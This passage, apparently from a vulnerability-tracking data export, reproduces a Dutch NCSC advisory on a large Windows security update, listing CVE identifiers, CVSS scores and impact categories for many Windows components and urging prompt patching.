| \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-15T01:01:17.598142Z"}, {"uuid": "0beb7787-71e2-4094-9920-3d7b61fbecdc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54128", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56185 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57107 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58631 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56196 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56197 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Management Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58544 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Audio Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34328 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50440 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58538 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Install Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50343 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58601 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50311 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Update Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50328 | 7.50 | Manipulatie van gegevens            | \n| CVE-2026-50444 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54107 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54986 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54112 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54114 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49805 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50297 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50325 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50416 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50489 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56184 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57095 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58632 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Terminal: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54124 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55003 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57979 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50376 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50445 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54126 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-56190 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57982 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58533 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58535 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58546 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58539 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58594 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Internet Key Exchange (IKE) Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50696 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nQuality Windows Audio/Video Experience (QWAVE) service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54989 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50365 | 8.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nReliable Multicast Transport Driver (RMCAST): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54982 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-54995 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Kernel Mode Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58602 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Service Infrastructure: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56647 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Trusted Runtime Interface Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50350 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50363 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50434 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50339 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50430 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50697 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nContent Delivery Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50427 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50371 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows App Store: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42900 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49165 | 7.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49784 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50356 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49174 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50295 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50465 | 7.10 | Manipulatie van gegevens            | \n| CVE-2026-50495 | 6.10 | Manipulatie van gegevens            | \n| CVE-2026-50487 | 8.10 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Data.dll: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50347 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Boot Loader: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58638 | 6.00 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows VMSwitch: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57092 | 9.90 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access Connection Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50666 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Input Method Editor (IME): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58534 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | 